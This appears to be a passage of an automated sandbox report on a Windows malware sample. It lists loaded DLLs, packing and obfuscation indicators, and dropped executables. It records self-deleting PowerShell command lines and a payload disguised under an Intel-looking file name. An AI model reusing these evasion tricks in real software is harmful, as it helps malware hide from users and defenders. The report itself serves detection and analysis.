                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: apphelp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: winmm.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: sspicli.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: wininet.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: rstrtmgr.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: ncrypt.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: ntasn1.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: iertutil.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: windows.storage.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: wldp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: profapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: kernel.appcore.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: winhttp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: mswsock.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: iphlpapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: winnsi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: urlmon.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: srvcli.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: netutils.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: dpapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: cryptbase.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: dnsapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: rasadhlp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: fwpuclnt.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: ntmarta.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: mozglue.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: wsock32.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: vcruntime140.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: msvcp140.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: vcruntime140.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeSection loaded: vcruntime140.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: winmm.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: windows.storage.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: wldp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: winhttp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: webio.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: mswsock.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: iphlpapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: winnsi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: sspicli.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: dnsapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: rasadhlp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: fwpuclnt.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: schannel.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: mskeyprotect.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ntasn1.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ncrypt.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ncryptsslp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: msasn1.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: cryptsp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: rsaenh.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: cryptbase.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: gpapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: dpapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: kernel.appcore.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: uxtheme.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: wbemcomn.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: amsi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: userenv.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: profapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: version.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Windows\explorer.exeSection loaded: iphlpapi.dll
                                      Source: C:\Windows\explorer.exeSection loaded: userenv.dll
                                      Source: C:\Windows\explorer.exeSection loaded: msvcp140.dll
                                      Source: C:\Windows\explorer.exeSection loaded: vcruntime140.dll
                                      Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dll
                                      Source: C:\Windows\explorer.exeSection loaded: vcruntime140.dll
                                      Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dll
                                      Source: C:\Windows\explorer.exeSection loaded: cryptbase.dll
                                      Source: C:\Windows\explorer.exeSection loaded: wininet.dll
                                      Source: C:\Windows\explorer.exeSection loaded: powrprof.dll
                                      Source: C:\Windows\explorer.exeSection loaded: umpdc.dll
                                      Source: C:\Windows\explorer.exeSection loaded: uxtheme.dll
                                      Source: C:\Windows\explorer.exeSection loaded: mswsock.dll
                                      Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc6.dll
                                      Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc.dll
                                      Source: C:\Windows\explorer.exeSection loaded: dnsapi.dll
                                      Source: C:\Windows\explorer.exeSection loaded: napinsp.dll
                                      Source: C:\Windows\explorer.exeSection loaded: pnrpnsp.dll
                                      Source: C:\Windows\explorer.exeSection loaded: wshbth.dll
                                      Source: C:\Windows\explorer.exeSection loaded: nlaapi.dll
                                      Source: C:\Windows\explorer.exeSection loaded: winrnr.dll
                                      Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dll
                                      Source: C:\Windows\explorer.exeSection loaded: explorerframe.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: wsock32.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: version.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: winmm.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: mpr.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: wininet.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: iphlpapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: userenv.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: uxtheme.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: kernel.appcore.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: windows.storage.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: wldp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: napinsp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: pnrpnsp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: wshbth.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: nlaapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: mswsock.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: dnsapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: winrnr.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: fwpuclnt.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: rasadhlp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: napinsp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: pnrpnsp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: wshbth.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: nlaapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: mswsock.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: dnsapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: winrnr.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: fwpuclnt.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: napinsp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: pnrpnsp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: wshbth.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: nlaapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: mswsock.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: dnsapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exeSection loaded: winrnr.dll
                                      Source: C:\Users\user\Desktop\file.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32Jump to behavior
                                      Source: Window RecorderWindow detected: More than 3 window changes detected
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll
                                      Source: file.exeStatic file information: File size 2936832 > 1048576
                                      Source: file.exeStatic PE information: Raw size of xdyibhef is bigger than: 0x100000 < 0x29b200
                                      Source: Binary string: C:\EF5\Source\EntityFramework\obj\Release\EntityFramework.pdb source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmp
                                      Source: Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JnTdehbm.pdb source: 1eb4b174fd.exe, 00000023.00000002.2884838244.0000000005430000.00000004.08000000.00040000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmp
                                      Source: Binary string: sourceFinish_setup.pdb source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmp
                                      Source: Binary string: PE.pdb source: 1eb4b174fd.exe, 00000023.00000002.2884598781.0000000005210000.00000004.08000000.00040000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmp
                                      Source: Binary string: .PDbPropertyValues_CannotGetValuesForState`/FDbPropertyValues_CannotSetNullValue source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmp

                                      Data Obfuscation

                                      barindex
                                      Detected unpacking (changes PE section rights)
                                      Source: C:\Users\user\Desktop\file.exeUnpacked PE file: 0.2.file.exe.860000.0.unpack :EW;.rsrc:W;.idata :W;xdyibhef:EW;nfincoke:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xdyibhef:EW;nfincoke:EW;.taggant:EW;
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeUnpacked PE file: 2.2.skotes.exe.a80000.0.unpack :EW;.rsrc:W;.idata :W;xdyibhef:EW;nfincoke:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xdyibhef:EW;nfincoke:EW;.taggant:EW;
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeUnpacked PE file: 3.2.skotes.exe.a80000.0.unpack :EW;.rsrc:W;.idata :W;xdyibhef:EW;nfincoke:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;xdyibhef:EW;nfincoke:EW;.taggant:EW;
                                      .NET source code contains method to dynamically call methods (often used by packers)
                                      Source: 35.2.1eb4b174fd.exe.5210000.3.raw.unpack, Ca01BQGh9DxiBOJwup.cs.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
                                      Suspicious powershell command line found
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                                      Source: random[1].exe2.6.drStatic PE information: 0xF456CF88 [Wed Nov 25 22:45:28 2099 UTC]
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006F66A8 GetCurrentProcess,GetProcessTimes,memset,GetModuleHandleW,GetProcAddress,LoadLibraryW,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess,fputs,fputs,11_2_006F66A8
                                      Source: initial sampleStatic PE information: section where entry point is pointing to: .taggant
                                      Source: fd98346557.exe.6.drStatic PE information: real checksum: 0x443f7b should be: 0x440102
                                      Source: 7z.exe.7.drStatic PE information: real checksum: 0x0 should be: 0x7b29e
                                      Source: random[1].exe.6.drStatic PE information: real checksum: 0x443f7b should be: 0x440102
                                      Source: 7z.dll.7.drStatic PE information: real checksum: 0x0 should be: 0x1a2c6b
                                      Source: random[1].exe2.6.drStatic PE information: real checksum: 0x0 should be: 0x324fc1
                                      Source: Intel_PTT_EK_Recertification.exe.20.drStatic PE information: real checksum: 0x0 should be: 0x1c320c
                                      Source: in.exe.18.drStatic PE information: real checksum: 0x0 should be: 0x1c320c
                                      Source: file.exeStatic PE information: real checksum: 0x2dc6f1 should be: 0x2d882c
                                      Source: d173cd9705.exe.6.drStatic PE information: real checksum: 0x2cfc8f should be: 0x2cc79f
                                      Source: skotes.exe.0.drStatic PE information: real checksum: 0x2dc6f1 should be: 0x2d882c
                                      Source: 1eb4b174fd.exe.6.drStatic PE information: real checksum: 0x0 should be: 0x324fc1
                                      Source: random[1].exe0.6.drStatic PE information: real checksum: 0x1cf60c should be: 0x1c7dee
                                      Source: 1f3cab3382.exe.6.drStatic PE information: real checksum: 0x1cf60c should be: 0x1c7dee
                                      Source: random[2].exe.6.drStatic PE information: real checksum: 0x2cfc8f should be: 0x2cc79f
                                      Source: file.exeStatic PE information: section name:
                                      Source: file.exeStatic PE information: section name: .idata
                                      Source: file.exeStatic PE information: section name: xdyibhef
                                      Source: file.exeStatic PE information: section name: nfincoke
                                      Source: file.exeStatic PE information: section name: .taggant
                                      Source: skotes.exe.0.drStatic PE information: section name:
                                      Source: skotes.exe.0.drStatic PE information: section name: .idata
                                      Source: skotes.exe.0.drStatic PE information: section name: xdyibhef
                                      Source: skotes.exe.0.drStatic PE information: section name: nfincoke
                                      Source: skotes.exe.0.drStatic PE information: section name: .taggant
                                      Source: random[1].exe.6.drStatic PE information: section name:
                                      Source: random[1].exe.6.drStatic PE information: section name: .idata
                                      Source: random[1].exe.6.drStatic PE information: section name:
                                      Source: random[1].exe.6.drStatic PE information: section name: ypghfgdd
                                      Source: random[1].exe.6.drStatic PE information: section name: tqzciftt
                                      Source: random[1].exe.6.drStatic PE information: section name: .taggant
                                      Source: fd98346557.exe.6.drStatic PE information: section name:
                                      Source: fd98346557.exe.6.drStatic PE information: section name: .idata
                                      Source: fd98346557.exe.6.drStatic PE information: section name:
                                      Source: fd98346557.exe.6.drStatic PE information: section name: ypghfgdd
                                      Source: fd98346557.exe.6.drStatic PE information: section name: tqzciftt
                                      Source: fd98346557.exe.6.drStatic PE information: section name: .taggant
                                      Source: random[1].exe0.6.drStatic PE information: section name:
                                      Source: random[1].exe0.6.drStatic PE information: section name: .idata
                                      Source: random[1].exe0.6.drStatic PE information: section name:
                                      Source: random[1].exe0.6.drStatic PE information: section name: kohmmiqt
                                      Source: random[1].exe0.6.drStatic PE information: section name: dhywrchu
                                      Source: random[1].exe0.6.drStatic PE information: section name: .taggant
                                      Source: 1f3cab3382.exe.6.drStatic PE information: section name:
                                      Source: 1f3cab3382.exe.6.drStatic PE information: section name: .idata
                                      Source: 1f3cab3382.exe.6.drStatic PE information: section name:
                                      Source: 1f3cab3382.exe.6.drStatic PE information: section name: kohmmiqt
                                      Source: 1f3cab3382.exe.6.drStatic PE information: section name: dhywrchu
                                      Source: 1f3cab3382.exe.6.drStatic PE information: section name: .taggant
                                      Source: random[2].exe.6.drStatic PE information: section name:
                                      Source: random[2].exe.6.drStatic PE information: section name: .idata
                                      Source: random[2].exe.6.drStatic PE information: section name: yqsxqdye
                                      Source: random[2].exe.6.drStatic PE information: section name: vpqvprng
                                      Source: random[2].exe.6.drStatic PE information: section name: .taggant
                                      Source: d173cd9705.exe.6.drStatic PE information: section name:
                                      Source: d173cd9705.exe.6.drStatic PE information: section name: .idata
                                      Source: d173cd9705.exe.6.drStatic PE information: section name: yqsxqdye
                                      Source: d173cd9705.exe.6.drStatic PE information: section name: vpqvprng
                                      Source: d173cd9705.exe.6.drStatic PE information: section name: .taggant
                                      Source: in.exe.18.drStatic PE information: section name: UPX2
                                      Source: Intel_PTT_EK_Recertification.exe.20.drStatic PE information: section name: UPX2
                                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0087D91C push ecx; ret 0_2_0087D92F
                                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00871359 push es; ret 0_2_0087135A
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 2_2_00A9D91C push ecx; ret 2_2_00A9D92F
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeCode function: 3_2_00A9D91C push ecx; ret 3_2_00A9D92F
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006D676A push rcx; ret 11_2_006D676B
                                      Source: file.exeStatic PE information: section name: entropy: 7.985625337095081
                                      Source: skotes.exe.0.drStatic PE information: section name: entropy: 7.985625337095081
                                      Source: random[1].exe.6.drStatic PE information: section name: ypghfgdd entropy: 7.955865541402558
                                      Source: fd98346557.exe.6.drStatic PE information: section name: ypghfgdd entropy: 7.955865541402558
                                      Source: random[1].exe0.6.drStatic PE information: section name: entropy: 7.979235804546558
                                      Source: random[1].exe0.6.drStatic PE information: section name: kohmmiqt entropy: 7.95300420170329
                                      Source: 1f3cab3382.exe.6.drStatic PE information: section name: entropy: 7.979235804546558
                                      Source: 1f3cab3382.exe.6.drStatic PE information: section name: kohmmiqt entropy: 7.95300420170329
                                      Source: 35.2.1eb4b174fd.exe.5210000.3.raw.unpack, KASIU9JAUDHSAHJDUHUDASUDUADAI0DKSFISJFUDHUFHHYU.csHigh entropy of concatenated method names: 'OMFx84NSU3Aj89yeQCX', 'LAX01SNrXLuYFtkUKZE', 'iy9SsMNm29gB450FtMd', 'dBJrEtNGIa6qVBG9EBQ', 'rVg9gbNXhuTUCax3Faw', 'SqGmZ9Nwos9SN5Q7lkZ', 'GSe2iiNdiIejkDmaBS8', 'LqmMVpNxj2A5NG3wBxw', 'gYNBsNNfxAmxgoLk8AY', 'YxEaVbN7rCtxCfwOIGb'
                                      Source: 35.2.1eb4b174fd.exe.5210000.3.raw.unpack, psm102r62ZNKXfMgLP.csHigh entropy of concatenated method names: 'OPSws322xfEh0', 'MODr39Nq5MiabxlX31k', 'iQoS09NJ2QNv2l3Nldp', 'CJQKDaN3RqE5Z376xIt', 'pj3HvaNg4CuSslIZxHe', 'aGob5JNuDhjrh89tMF7', 'OJrIsVNcKpdpxmnyCdy', 'nvy9T7NQKdlZSSpjdYZ', 'VWEEy8N4s3YgJEZssn2', 'hiS9r5NbbCsErEIxnl5'
                                      Source: 35.2.1eb4b174fd.exe.5210000.3.raw.unpack, Component1.csHigh entropy of concatenated method names: 'Dispose', 'c2ZnNKXfM', 'KdItahZbaqrPOGXMMIH', 'F6Y0glZWI5sNge0KygR', 'oiohBeZubh6iBGSEkrx', 'eHnLj8Z41B6OG7M1JDy', 'N4gwHqZEFQ33Xh9XSL4', 'UsxTXAZipbL0y4O7ig6', 'lWEAf5ZlGZ9tBNchonB'
                                      Source: 35.2.1eb4b174fd.exe.5210000.3.raw.unpack, UserControl1.csHigh entropy of concatenated method names: 'Dispose', 'F2igcbrUX', 'XHGgAUZzLmxCg9LHS8J', 'S8TWddN28E6t6e1W5DI', 'nxnywSZIvTRDeZkh3vn', 'Lg0nedZDohNDcCeYfhA', 'MCqqDaNZbmCaRq0a6S3', 'pte1vQNNcjSXyOcA1wm', 'FihZepNhpEadD2XS1mj', 'v4bBBrN14WWJwYVFB1v'
                                      Source: 35.2.1eb4b174fd.exe.5210000.3.raw.unpack, Hg0i8ysWBkmOQpOTDa.csHigh entropy of concatenated method names: 'BBiryfpB2', 'KI0GlCWQr', 'nZK2JcQAs', 'lkTeKjlkc', 'RYq1Z9XkI', 'XOTf7va1f', 'Dispose', 'YAroKCCXX', 'acfjChBBkMo7PdIk7G', 'MFS1TWc0IT345kpNHi'
